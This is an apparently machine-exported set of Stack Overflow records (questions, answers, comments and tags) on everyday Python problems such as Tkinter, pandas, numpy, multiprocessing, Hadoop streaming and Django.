has body: I am having a couple issues with the following code: After the radio button is selected and the OK button is selected, the Tkinter window does not close. I have tried various methods to close the Tkinter window - quit() and destroy() both inside buttonAction() and after master.mainloop() - but neither has worked. The code will run endlessly and the window does not close. The compGDB variable assignment is not retained after the code is run. At this point, I'm wondering if the compGDB variable isn't retaining simply because the destroy/quit code failure. import Tkinter, getpass username = getpass.getuser() def buttonAction(): compGDB = choice.get() print compGDB #master.quit() #master.destroy() vwrMinGDB = "C:\\Users\\" + username + "\\Desktop\\ViewerAttribution\\Viewer_minimum.gdb" fullGDB = "C:\\Users\\" + username + "\\Desktop\\ViewerAttribution\\Full_geodatabase.gdb" master = Tkinter.Tk() master.title("Schema comparison") master.geometry("250x100") choice = Tkinter.StringVar() choice.set(vwrMinGDB) chooseOption = Tkinter.Label(master, text="Slect geodatabase for schema comparison") rButton1 = Tkinter.Radiobutton(master, text="Viewer Minimum Attribution", variable=choice, value=vwrMinGDB) rButton2 = Tkinter.Radiobutton(master, text="Full Geodatabase Attribution", variable=choice, value=fullGDB) confirmButton = Tkinter.Button(master, text="OK", command=buttonAction) chooseOption.grid(column="1", row="0") rButton1.grid(column="1", row="1") rButton2.grid(column="1", row="2") confirmButton.grid(column="1", row="3") master.mainloop() #master.quit() #master.destroy() Thanks, y'all!
answer count: 2
accepted answer: http://stackoverflow.com/a/48754570
possible better answer: http://stackoverflow.com/a/71978955
has answer: http://stackoverflow.com/a/71978955
score: 0
has title: How do I close a Tkinter window and retain a StringVar value?
has answer: http://stackoverflow.com/a/48754570
has comment: http://stackoverflow.com/comment/84537274
has comment: http://stackoverflow.com/comment/84509578
tagged with: tkinter
tagged with: python

http://stackoverflow.com/q/48789089
has comment: http://stackoverflow.com/comment/84580088
has body: I am new to python and machine learning. I've coded logistic regression from scratch and I want to add cross validation. Could I somehow split the training data into 5 divisions after doing train test split, then run my algorithm on each section of that split? Trying to add sklearn's cross validation hasn't been working for me with this from scratch. Any help in the right direction would be appreciated. X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.25, random_state=0) def Sigmoid(z): return 1/(1 + np.exp(-z)) def Hypothesis(theta, X): return Sigmoid(X @ theta) def Cost_Function(X,Y,theta,m): hi = Hypothesis(theta, X) _y = Y.reshape(-1, 1) J = 1/float(m) * np.sum(-_y * np.log(hi) - (1-_y) * np.log(1-hi)) return J def Cost_Function_Derivative(X,Y,theta,m,alpha): hi = Hypothesis(theta,X) _y = Y.reshape(-1, 1) J = alpha/float(m) * X.T @ (hi - _y) return J def Gradient_Descent(X,Y,theta,m,alpha): new_theta = theta - Cost_Function_Derivative(X,Y,theta,m,alpha) return new_theta def Accuracy(theta): correct = 0 length = len(X_test) prediction = (Hypothesis(theta, X_test) &gt; 0.5) _y = Y_test.reshape(-1, 1) correct = prediction == _y my_accuracy = (np.sum(correct) / length)*100 print ('LR Accuracy: ', my_accuracy, "%") def Logistic_Regression(X,Y,alpha,theta,num_iters): m = len(Y) for x in range(num_iters): new_theta = Gradient_Descent(X,Y,theta,m,alpha) theta = new_theta if x % 100 == 0: print #('theta: ', theta) print #('cost: ', Cost_Function(X,Y,theta,m)) Accuracy(theta) ep = .012 initial_theta = np.random.rand(X_train.shape[1],1) * 2 * ep - ep alpha = 0.5 iterations = 10000 Logistic_Regression(X_train,Y_train,alpha,initial_theta,iterations)
type: Question
has comment: http://stackoverflow.com/comment/84580324
tagged with: cross-validation
score: 0
tagged with: python
has title: How to add cross validation in logistic regression from scratch?
answer count: 0
has comment: http://stackoverflow.com/comment/84583225
type: UnansweredQuestion
tagged with: machine-learning
tagged with: logistic-regression

http://stackoverflow.com/comment/84313339
type: QuestionComment
has text: what is Y in your code? and provide in detail traceback.
comment on: http://stackoverflow.com/q/48657821
score: 0
type: Comment

http://stackoverflow.com/a/48762355
score: 1
has body: Do you want something like this? import pandas as pd import numpy as np df = pd.DataFrame({"country":["AR","AR","AR","AU","AU","AU"], "listing_neighborhood":["-unknown-","Copacabana","Ipanema","-unknown-","Copacabana","Ipanema"], "count":[250,218,108,90,86,38]}) pt = pd.pivot_table(df, values="count", index="country", columns="listing_neighborhood", aggfunc=np.sum) pt.plot.bar(stacked=True)
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/48761703
downvote count: 0

http://stackoverflow.com/comment/84482244
has text: @javed your expected o/p is wrong, Because list cannot have `id:1` like values.Also if you make it `dict` the problem is `id` and `rec` are duplicate keys.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/48741369

http://stackoverflow.com/comment/84600914
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48799036
has text: Do I need to add `callback=self.parse` in `yield scrapy.Request(browser.current_url) # send the request again` ? Or the `parse` will be called on the response automatically?
type: Comment

http://stackoverflow.com/q/48655687
favorite count: 0
has answer: http://stackoverflow.com/a/54490298
tagged with: matrix
tagged with: python
score: 2
type: AnsweredQuestion
upvote count: 2
has body: All the answers I find are proposing iterative solutions. Is there a recursive way of solving this problem? I have an attempt that seems quite close but is not quite correct yet. Suppose I have this matrix: matrix = [ ["H", "E", "L", "L"], ["N", "I", "E", "I"], ["O", "G", "R", "F"], ["T", "S", "A", "E"] ] My function should print... HELLIFEASTTONIERG This is my code... def spiral(matrix, i, j): if i &lt; 0 or j &lt; 0 or i &gt;= len(matrix) or j &gt;= len(matrix) or matrix[i][j] == False: return False print(matrix[i][j]) matrix[i][j] = False if j &lt; len(matrix) and j &gt;= i: spiral(matrix, i, j+1) if i &lt; len(matrix) and i &lt;= j: spiral(matrix, i+1, j) if j &gt;= 0 and j &lt;= i: spiral(matrix, i , j-1) if i &gt;= 0 and i &gt;= j: spiral(matrix, i-1, j) spiral(matrix, 0, 0) It prints somewhat spirally... HELLIFEASTONGIER but it is incorrect. Is it possible to alter my function somehow to get the right output because I feel as if I'm close. Or is there any other recursive solution?
has title: print matrix in spiral order recursively
type: Question
tagged with: recursion
possible better answer: http://stackoverflow.com/a/54490298
tagged with: algorithm
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/79396606
has answer: http://stackoverflow.com/a/48656268
accepted answer: http://stackoverflow.com/a/48656268

http://stackoverflow.com/a/75238949
type: Answer
answers question: http://stackoverflow.com/q/48732892
has body: You should check the port in psql if it's right or not. In my case local postgresql was listening to port 5433
score: 0

http://stackoverflow.com/q/48657329
score: 4
has body: I have a boosted trees model and probabilities and classification for test data set. I am trying to plot the roc_curve for the same. But I am unable to figure out how to define thresholds/alpha for roc curve in scikit learn. from sklearn.metrics import precision_recall_curve,roc_curve,auc, average_precision_score fpr = dict() tpr = dict() roc_auc = dict() fpr,tpr,_ = roc_curve(ytest,p_test, pos_label=1) roc_auc = auc(fpr,tpr) plt.figure() lw = 2 plt.plot(fpr, tpr, color='darkorange', lw=lw, label='ROC curve (area = %0.2f)' % roc_auc) plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--') plt.xlim([0.0, 1.0]) plt.ylim([0.0, 1.05]) plt.xlabel('False Positive Rate') plt.ylabel('True Positive Rate') plt.title('Receiver operating characteristic example') plt.legend(loc="lower right") plt.savefig('ROCProb.png') plt.show() I looked at a similar question here : thresholds in roc_curve in scikit learn But could not figure out. I am open to using some other library as well.
has comment: http://stackoverflow.com/comment/93548983
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84362168
has answer: http://stackoverflow.com/a/48682541
favorite count: 0
tagged with: roc
has title: Scikit - How to define thresholds for plotting roc curve
tagged with: python
has comment: http://stackoverflow.com/comment/84361671
linked to: http://stackoverflow.com/q/39155900
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48682541
has comment: http://stackoverflow.com/comment/84315534
type: Question
upvote count: 4
tagged with: scikit-learn

http://stackoverflow.com/comment/128531260
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48693458
has text: We use # to comment out in Python. And parentheses are missing in call to 'print'.
type: Comment

http://stackoverflow.com/comment/84520187
type: AnswerComment
score: 0
type: Comment
has text: @MadPhysicist: You're welcome to your opinion. But I certainly hope I will not need to read your code in the future, if this is the kind of guidance which you choose to ignore.
comment on: http://stackoverflow.com/a/48756774

http://stackoverflow.com/a/48693887
has body: Using replace :-) df.Team.replace(d,inplace=True) df Out[176]: Market Status Team 0 Chicago 1 tom@email.com 1 Chicago 1 tom@email.com 2 SFBay 3 Julia@email.com 3 SFBay 1 Julia@email.com 4 SFBay 1 Julia@email.com
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48693785
upvote count: 2

http://stackoverflow.com/q/48794966
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84592551
score: 3
has comment: http://stackoverflow.com/comment/84592340
downvote count: 0
has answer: http://stackoverflow.com/a/48795565
type: Question
has body: I'm having troubles to run a python script in DigitalOcean. I have two doubts. How to upload the scripy.py to DigitalOcean droplet. How to run the script. I'm able to access to the console, but further that I don't know what to do and i can't find any specific information on internet. I'm running a Ubuntu 14.4 Droplet through web.
has comment: http://stackoverflow.com/comment/84592458
tagged with: digital-ocean
upvote count: 3
has title: run python script in DigitalOcean
answer count: 1
has comment: http://stackoverflow.com/comment/84592514
linked to: http://stackoverflow.com/q/21587036

http://stackoverflow.com/comment/84370135
comment on: http://stackoverflow.com/q/48686159
has text: @Kevin Edited the question.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/48693092
accepted answer of: http://stackoverflow.com/q/48692745
has comment: http://stackoverflow.com/comment/84419902
answers question: http://stackoverflow.com/q/48692745
has comment: http://stackoverflow.com/comment/84457276
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84451708
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/84418036
has body: Get default dates, add times and get difference with time t: First get minimal indices of absolute values per groups by DataFrameGroupBy.idxmin, for second solution get maximal negative values per groups by replacing positive values by NaNs by DataFrameGroupBy.idxmax and mask: df = pd.DataFrame({'date': ['2014-06-22 17:46:00', '2014-06-22 16:52:00', '2014-06-25 20:02:00', '2014-06-25 17:55:00', '2014-07-02 11:36:00', '2014-07-06 12:40:00', '2014-07-05 12:46:00', '2014-07-27 15:12:00'], 'type': ['A', 'A', 'A', 'B', 'B', 'C', 'C', 'C']}) #convert column to datetimes df['date'] = pd.to_datetime(df.date) t = '17:00:00' a = pd.to_datetime(df['date'].dt.strftime('%H:%M:%S')) - pd.to_datetime(t) print (a) 0 00:46:00 1 -1 days +23:52:00 2 03:02:00 3 00:55:00 4 -1 days +18:36:00 5 -1 days +19:40:00 6 -1 days +19:46:00 7 -1 days +22:12:00 Name: date, dtype: timedelta64[ns] b = a.abs().groupby(df['type']).idxmin() print (b) type A 1 B 3 C 7 Name: date, dtype: int64 c = a.mask(a &gt; pd.Timedelta(0)).groupby(df['type']).idxmax() print (c) type A 1 B 4 C 7 Name: date, dtype: int64 Detail: df1 = pd.concat([df, a, a.abs(), a.mask(a &gt; pd.Timedelta(0))], axis=1) df1.columns = ['date','type','diff','absolute diff','max negative'] print (df1) date type diff absolute diff max negative 0 2014-06-22 17:46:00 A 00:46:00 00:46:00 NaT 1 2014-06-22 16:52:00 A -1 days +23:52:00 00:08:00 -1 days +23:52:00 2 2014-06-25 20:02:00 A 03:02:00 03:02:00 NaT 3 2014-06-25 17:55:00 B 00:55:00 00:55:00 NaT 4 2014-07-02 11:36:00 B -1 days +18:36:00 05:24:00 -1 days +18:36:00 5 2014-07-06 12:40:00 C -1 days +19:40:00 04:20:00 -1 days +19:40:00 6 2014-07-05 12:46:00 C -1 days +19:46:00 04:14:00 -1 days +19:46:00 7 2014-07-27 15:12:00 C -1 days +22:12:00 01:48:00 -1 days +22:12:00
score: 2

http://stackoverflow.com/comment/84403316
has text: How does it work?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48688829
score: 0

virtualbox
tags question: http://stackoverflow.com/q/48681843
tags question: http://stackoverflow.com/q/48674966
tags question: http://stackoverflow.com/q/48676157
tag name: virtualbox
type: Tag

http://stackoverflow.com/comment/84426475
type: Comment
type: QuestionComment
has text: Feels like this might be a candidate for `multiprocessing` - adds overhead of running multiple python interpreters, but otherwise could work - https://docs.python.org/3/library/multiprocessing.html
score: 0
comment on: http://stackoverflow.com/q/48713208

http://stackoverflow.com/q/48666806
downvote count: 0
answer count: 0
score: 1
tagged with: multiprocessing
type: Question
has comment: http://stackoverflow.com/comment/84372416
has title: Python Multiprocessing writing to shared file using lock
has comment: http://stackoverflow.com/comment/84539560
has comment: http://stackoverflow.com/comment/84331388
has body: I have built a very single program to understand how parallelization may help (save time). This program simply write a list of integer in a file, and I split the treatment by range of integer. Reading relevant question, I have put Lock, but no improvement. The program run, but instead of having in my file, for instance, 1000000 lines, I will have 99996xx...and the number of worker do not change anything (even with one worker, the problem curiously remains...however no competition problem between worker). May somebody explain me what is wrong ? (I have tried with opening and writing a file within the worker and then concatenate all : it runs. but I'd like to understand why I do not manage to write in a shared file with multiprocessing). Please find below the code: import csv import time import multiprocessing SizeOfSet=8000000 PathCorpus='/home' Myfile='output.csv' MyFile=PathCorpus+'/'+Myfile step=1000000 nb_worker=SizeOfSet//step def worker_verrou(verrou,start,end): verrou.acquire() for k in range(start,end): try: writerfile.writerow([k]) except: print('pb with writerow %i',k) verrou.release() return pointeurwritefile = open(MyFile, "wt") writerfile = csv.writer(pointeurwritefile) verrou=multiprocessing.Lock() start_time = time.time() jobs=[] for k in range(nb_worker): print('Starting process number %i', k) p = multiprocessing.Process(target=worker_verrou, args=(verrou, k*step,(k+1)*step)) jobs.append(p) p.start() for j in jobs: j.join() print '%s.exitcode = %s' % (j.name, j.exitcode) interval = time.time() - start_time print('Total time in seconds:', interval) print('ended')
has comment: http://stackoverflow.com/comment/84375165
tagged with: locking
upvote count: 1
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84370523
tagged with: python

http://stackoverflow.com/comment/84361779
comment on: http://stackoverflow.com/q/48682262
has text: @voltento Please read the question. I know the working git command but I have troubles parsing it in Python.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48653466
upvote count: 1
has title: How to avoid TypeError from attempt to divide?
downvote count: 1
has comment: http://stackoverflow.com/comment/84305042
type: Question
has answer: http://stackoverflow.com/a/48653544
has answer: http://stackoverflow.com/a/48653564
score: 0
duplicate of: http://stackoverflow.com/q/20449427
answer count: 2
has body: Im' trying to make a program that is a tip calculator with graphics. I'm trying to do the output but I keep getting this error: Traceback (most recent call last): File "C:/Users/simps/Desktop/tip calculator.py", line 30, in &lt;module&gt; float (taxsum = check / 4) TypeError: unsupported operand type(s) for /: 'str' and 'int' For the life of me I can't figure out what this means, This is my code if that helps #A program that allows people to enter information and calculate how much a tip should be from graphics import * import math #setting up the window win = GraphWin("Tip Calculator", 400, 400) win.setBackground("teal") #setting up the input checksub = Text(Point(150, 150,), "What is the subtotal of the check?:") checksub.draw(win) checksub2 = Entry(Point(300,152), 5) checksub2.draw(win) tiprate = Text(Point(150,190), "What is the tip rate?:") tiprate.draw(win) tiprate2 = Entry(Point(250,190), 3) tiprate2.draw(win) #button Buttontext = Text(Point(150,210), "Compute") Buttontext.draw(win) Buttonbox = Rectangle(Point(100,230),Point(200,199)) Buttonbox.draw(win) #Calculations win.getMouse() tip = tiprate2.getText() check = checksub2.getText() float (taxsum = check / 4) float (checktax = taxsum + check) float (tipsum = checktax / tip) float (checksum = (tipsum + checktax)) #presenting the output tipoutput = Text(Point(150,250), "The tip rate is: tipsum") tipoutput.draw(win) checkoutput = Text(Point(150,260), "The Check total is: checksum") checkoutput.draw(win)
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84305165
tagged with: python
has comment: http://stackoverflow.com/comment/84305211
linked to: http://stackoverflow.com/q/2376464
type: UnansweredQuestion

http://stackoverflow.com/q/48781034
answer count: 1
has comment: http://stackoverflow.com/comment/84582052
has answer: http://stackoverflow.com/a/48854442
type: UnansweredQuestion
tagged with: python
has body: I had written a program for word count concepts map.py and reduce.py programs. I had run the programs separately executed successfully. but last step execution is not successful. I got error(for unexpected do). how i can solve this problem. I am uploading my map.py, reduce.py programs and error statements below. map.py: import sys for line in sys.stdin: line = line.strip() words = line.split() for word in words: print '%s\t%s' % (word, "1") reduce.py: import sys c_count = {} for line in sys.stdin: line = line.strip() word, count = line.split('\t', 1) try: count = int(count) except ValueError: continue try: c_count[word] = c_count[word]+count except: c_count[word] = count for word in c_count.keys(): print '%s\t%s'% ( word, c_count[word] ) Logs are below: 18/02/14 09:47:34 INFO streaming.PipeMapRed: R/W/S=1/0/0 in:NA [rec/s] out:NA [rec/s] 18/02/14 09:47:35 INFO mapred.LocalJobRunner: hdfs://localhost:54310/s_data/wc_input/name.txt:0+115 &gt; map 18/02/14 09:47:36 INFO mapreduce.Job: map 67% reduce 0% 18/02/14 09:47:38 INFO mapred.LocalJobRunner: hdfs://localhost:54310/s_data/wc_input/name.txt:0+115 &gt; map /home/babu/./map1.py: 4: /home/babu/./map1.py: Syntax error: word unexpected (expecting "do") 18/02/14 09:51:56 INFO streaming.PipeMapRed: MRErrorThread done 18/02/14 09:51:56 INFO streaming.PipeMapRed: PipeMapRed failed! java.lang.RuntimeException: PipeMapRed.waitOutputThreads(): subprocess failed with code 2 at org.apache.hadoop.streaming.PipeMapRed.waitOutputThreads(PipeMapRed.java:322) at org.apache.hadoop.streaming.PipeMapRed.mapRedFinished(PipeMapRed.java:535) at org.apache.hadoop.streaming.PipeMapper.close(PipeMapper.java:130) at org.apache.hadoop.mapred.MapRunner.run(MapRunner.java:61) at org.apache.hadoop.streaming.PipeMapRunner.run(PipeMapRunner.java:34) at org.apache.hadoop.mapred.MapTask.runOldMapper(MapTask.java:453) at org.apache.hadoop.mapred.MapTask.run(MapTask.java:343) at org.apache.hadoop.mapred.LocalJobRunner$Job$MapTaskRunnable.run(LocalJobRun…
tagged with: mapreduce
type: Question
tagged with: hadoop
has title: Syntax error: word unexpected (expecting "do") map.py in hadoop
score: 0

http://stackoverflow.com/q/48798227
has title: Mutating a slice of an array doesn't work
score: 3
has body: import numpy as np def solve_eps(eps): A = np.array([[eps, 1, 0], [1, 0, 0], [0, 1, 1]]) b = np.array([1 + eps, 1, 2]) m_21 = A[1, 0] / A[0, 0] m_31 = A[2, 0] / A[0, 0] print("What A[1, :] should be:", A[1, :] - A[0, :] * m_21) A[1, :] = A[1, :] - A[0, :] * m_21 print("But it won't assign it to the slice!!!!!", A[1, :]) If we run solve_eps(2), you see that the slice doesn't assign: What A[1, :] should be: [ 0. -0.5 0. ] But it won't assign it to the slice!!!!! [0 0 0] But, if you run: A = np.array([[3, 1, 1], [2, 2, 2]]) A[1, :] = A[1, :] - (A[0, :] * 4) A[1, :] = [-10, -2, -2] What's going on here?
tagged with: numpy
upvote count: 3
has answer: http://stackoverflow.com/a/48798263
accepted answer: http://stackoverflow.com/a/48798263
answer count: 1
favorite count: 0
tagged with: python-3.x
tagged with: python
type: AnsweredQuestion
downvote count: 0
type: Question

http://stackoverflow.com/a/48759763
accepted answer of: http://stackoverflow.com/q/48759567
answers question: http://stackoverflow.com/q/48759567
has body: You can also do it like this: dashes = [['Q' if (j, i) in grid else '-' for i in range(5)] for j in range(5)] print('\n'.join(''.join(dash) for dash in dashes)) ---Q- -Q--- Q---- --Q-- Q----
has comment: http://stackoverflow.com/comment/84520192
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/48707238
answer count: 1
type: UnansweredQuestion
tagged with: python
tagged with: machine-learning
has title: Tensorflow summary causes error: tensorflow.python.framework.errors_impl.InvalidArgumentError
tagged with: tensorflow
type: Question
has body: After I add some tf.summary in my code the I get the following error as I run my code again: tensorflow.python.framework.errors_impl.__InvalidArgumentError__: You must feed a value for placeholder tensor 'Valid/Model/input/input_data_pl' with dtype int32 and shape [?,?,?] Any idea on what is wrong with my summary? /Users/wuguohua/Envs/py3tf/lib/python3.6/importlib/_bootstrap.py:219: RuntimeWarning: compiletime version 3.5 of module 'tensorflow.python.framework.fast_tensor_util' does not match runtime version 3.6 return f(*args, **kwds) Tensor("Train/Model/input/input_data_pl:0", shape=(?, ?, ?), dtype=int32) Tensor("Train/Model/input/output_data_pl:0", shape=(?, ?), dtype=int32) [TL] EmbeddingInputlayer Model/input/token_emb: (1178, 100) /Users/wuguohua/Envs/py3tf/lib/python3.6/site-packages/tensorflow/python/ops/gradients_impl.py:96: UserWarning: Converting sparse IndexedSlices to a dense Tensor of unknown shape. This may consume a large amount of memory. "Converting sparse IndexedSlices to a dense Tensor of unknown shape. " Tensor("Valid/Model/input/input_data_pl:0", shape=(?, ?, ?), dtype=int32) Tensor("Valid/Model/input/output_data_pl:0", shape=(?, ?), dtype=int32) [TL] EmbeddingInputlayer Model/input/token_emb: (1178, 100) 2018-02-09 21:31:08.723167: I tensorflow/core/platform/cpu_feature_guard.cc:137] Your CPU supports instructions that this TensorFlow binary was not compiled to use: SSE4.1 SSE4.2 AVX AVX2 FMA Traceback (most recent call last): File "/Users/wuguohua/Envs/py3tf/lib/python3.6/site-packages/tensorflow/python/client/session.py", line 1323, in _do_call return fn(*args) File "/Users/wuguohua/Envs/py3tf/lib/python3.6/site-packages/tensorflow/python/client/session.py", line 1302, in _run_fn status, run_metadata) File "/Users/wuguohua/Envs/py3tf/lib/python3.6/site-packages/tensorflow/python/framework/errors_impl.py", line 473, in __exit__ c_api.TF_GetCode(self.status.status)) tensorflow.python.framework.errors_impl.InvalidArgumentError: You must feed a…
score: 0
has answer: http://stackoverflow.com/a/50197151

http://stackoverflow.com/comment/84534217
score: 0
type: AnswerComment
type: Comment
has text: You need `s = df.groupby('gender')['rating'].apply(lambda x: x.value_counts().head(2)).rename_axis(('a','b')).reset_index(level=1)['b']`
comment on: http://stackoverflow.com/a/48680999

http://stackoverflow.com/comment/84486845
type: Comment
comment on: http://stackoverflow.com/a/48743355
has text: You're welcome! It also looks like the animation code doesn't work as expected, but better try to fix it on your own first.
type: AnswerComment
score: 0

http://stackoverflow.com/q/48775880
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84554651
tagged with: python-3.x
upvote count: 2
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84553704
downvote count: 3
score: -1
has comment: http://stackoverflow.com/comment/84553805
type: Question
has title: How would I print this underlined and center
has answer: http://stackoverflow.com/a/48776409
linked to: http://stackoverflow.com/q/35401019
has body: How would I make the following display center and underlined in the shell (if I can) print ("Award show",datetime.date.today().strftime("%Y"))
has comment: http://stackoverflow.com/comment/84553667

http://stackoverflow.com/comment/84302953
comment on: http://stackoverflow.com/q/48650879
has text: done. I forgot my bad.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85488707
has text: Possible duplicate of [success\_message in DeleteView not shown](https://stackoverflow.com/questions/24822509/success-message-in-deleteview-not-shown)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48777015

ms-access
tags question: http://stackoverflow.com/q/48800587
tag name: ms-access
tags question: http://stackoverflow.com/q/48691573
type: Tag

http://stackoverflow.com/comment/84566182
score: 0
comment on: http://stackoverflow.com/q/48782150
has text: I don't think there's a math module in numpy. I couldn't find any...
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49144950
type: Answer
has comment: http://stackoverflow.com/comment/88415032
has comment: http://stackoverflow.com/comment/88414016
has body: AndroidViewClient/culebra latest version already includes support for ADB Server version 0004027. VALID_ADB_VERSIONS = ["00040027", "00040024", "00040023", "00040020", "0004001f"] You are using an older version, please upgrade to the latest version 13.6.2: https://pypi.python.org/pypi/androidviewclient https://github.com/dtmilano/AndroidViewClient/releases/tag/v13.6.2
score: 0
answers question: http://stackoverflow.com/q/48707040

http://stackoverflow.com/q/48757995
has answer: http://stackoverflow.com/a/48931074
has title: With django cookie cutter, how to change to the custom user model mid-project
type: Question
answer count: 1
has body: I am trying to use Cookiecutter to help me to deploy a web app with Heroku and Amazon S3. This is an app that I developed locally without Cookiecutter so I am copy-pasting the files into the new project and debug step by step. The original app used the build-in Django User Model so I would like to switch to the Abstract User Model that comes with Cookiecutter. I started to create a new database for this project to start from scratch. Then I thought it would be as simple as replacing User by AUTH_USER_MODEL models.py from config.settings.base import AUTH_USER_MODEL class Category(models.Model): name = models.CharField(max_length=30) description = models.CharField(max_length=140,blank=True,null=True) date_created = models.DateField(default=timezone.now) date_updated = models.DateField(auto_now=True) created_by = models.ForeignKey(AUTH_USER_MODEL, related_name="categories") def __str__(self): return self.name I get this error when running manage.py migrate accounts.User.user_ptr: (fields.E301) Field defines a relation with the model 'auth.User', which has been swapped out. HINT: Update the relation to point at 'settings.AUTH_USER_MODEL' In settings.py AUTH_USER_MODEL = 'users.User' Where I am missing something ?
score: 0
tagged with: cookiecutter-django
type: UnansweredQuestion
tagged with: django
tagged with: python

http://stackoverflow.com/comment/84436880
has text: I have already installed numpy before and it has the function.May be it's "\r" cause the problem, i think.
comment on: http://stackoverflow.com/q/48718550
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48738986
accepted answer of: http://stackoverflow.com/q/48738962
has body: How about going old school: sum() Code: joined_list = sum(list_of_lists, []) Test Code: # List of variable size list_of_lists = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] joined_list = sum(list_of_lists, []) print(joined_list) Results: [1, 2, 3, 4, 5, 6, 7, 8, 9]
answers question: http://stackoverflow.com/q/48738962
type: Answer
upvote count: 2
downvote count: 1
score: 1
type: AcceptedAnswer

http://stackoverflow.com/a/48706859
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48704019
answers question: http://stackoverflow.com/q/48704019
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/84416533
score: 1
has body: Alert#authenticate() likely does nothing. It was removed from the Ruby and Java bindings and there are no tests for it in the Python bindings. As you've seen elsewhere, your only option is to include the username and password in the requested URL as username:password@host.

http://stackoverflow.com/q/48797498
type: UnansweredQuestion
has title: Enable auto-printing of evaluated statements in Python?
tagged with: python
tagged with: python-c-api
has comment: http://stackoverflow.com/comment/84597691
upvote count: 3
linked to: http://stackoverflow.com/q/2220699
has answer: http://stackoverflow.com/a/48797796
type: Question
has body: When running a Python REPL, top-level statements sent to the console get auto-printed. For example, with: &gt;&gt;&gt; x = 1 &gt;&gt;&gt; x 1 &gt;&gt;&gt; | The second line evaluating x caused the value to be 'auto-printed' However, we don't get the same behavior when x is evaluated in other contexts -- for example, if we use exec: &gt;&gt;&gt; exec('x') &gt;&gt;&gt; | Similarly, with eval(): &gt;&gt;&gt; code = compile('x = 1; x', '&lt;string&gt;', 'exec') &gt;&gt;&gt; eval(code) &gt;&gt;&gt; | Is there a way to ask Python to auto-print statements run in this way, as it does at the top level of the REPL? While this question describes Python code directly, I'd also love to know whether it's possible to accomplish this using the Python C API (e.g. with PyRun_SimpleStringFlags()).
downvote count: 0
has comment: http://stackoverflow.com/comment/84597779
score: 3
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/84609377
has text: Last I would make it possible to omit `pause` if this batch file is called from another batch file with an optional parameter, for example with `if /I not "%~1" == "/nopause" pause`. I just hope that the two called batch files do not define environment variables needed after `endlocal` respectively `pause` as they don't exist anymore after this command respectively batch file execution finished because of `setlocal` command.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48802660
type: AnswerComment

http://stackoverflow.com/comment/84541746
has text: My bad, have edited the OP
score: 0
comment on: http://stackoverflow.com/q/48770199
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48691846
tagged with: generator
has answer: http://stackoverflow.com/a/48691885
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48691881
has answer: http://stackoverflow.com/a/48691900
answer count: 3
has title: Python - Why can't I use generators inside the print function?
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84381906
tagged with: python-3.x
has body: my code: a=[3,3,3,3,3,3,45,4,5,2,2,4,3,3,3,3] print(x for x in set(a)) output: &lt;generator object &lt;genexpr&gt; at 0xb62dccec&gt; why? And how can I print the set using one line?
upvote count: 2
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/84507454
has text: Also used Postman to send image files to the Django server and it serves it up into a QueryDict in request.POST and request.FILES as expected, but even the simplest Unity request stays tied up as raw byte[] data in their request.body object. It might have something to do with encoding sent from Unity? Still working.
comment on: http://stackoverflow.com/q/48752594
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48724663
has comment: http://stackoverflow.com/comment/84448590
type: Answer
has comment: http://stackoverflow.com/comment/84448931
has comment: http://stackoverflow.com/comment/84448897
has body: You can use *args for dynamic input, (ordering of values cannot be changed) with query for filtering: def get_top(*args): c = ['maritalstatus', 'gender', 'age_range', 'occ'] m = (df.groupby(c)['rating'].apply(lambda x: x.value_counts().index[0]) .reset_index()) args = list(args) while True: d = dict(zip(c, args)) #https://stackoverflow.com/a/48371587/2901002 q = ' &amp; '.join((('({} == "{}")').format(i, j)) for i, j in d.items()) m1 = m.query(q)['rating'] if m1.empty and len(args) &gt; 1: args.pop() else: return m1 print(get_top('ma', 'M', 'young','teacher')) 1 PG Name: rating, dtype: object
answers question: http://stackoverflow.com/q/48719674
has comment: http://stackoverflow.com/comment/84448569
has comment: http://stackoverflow.com/comment/84449068
score: 0
has comment: http://stackoverflow.com/comment/84448947
has comment: http://stackoverflow.com/comment/84448965

http://stackoverflow.com/comment/84580840
has text: `count = sum(1 for x in (a, b, c) if x is None)`
type: Comment
comment on: http://stackoverflow.com/a/48785969
type: AnswerComment
score: 0

http://stackoverflow.com/q/48735105
has title: ManytoMany field django template when models are in different apps
upvote count: 1
has comment: http://stackoverflow.com/comment/84469870
type: Question
linked to: http://stackoverflow.com/q/4270330
has answer: http://stackoverflow.com/a/48736173
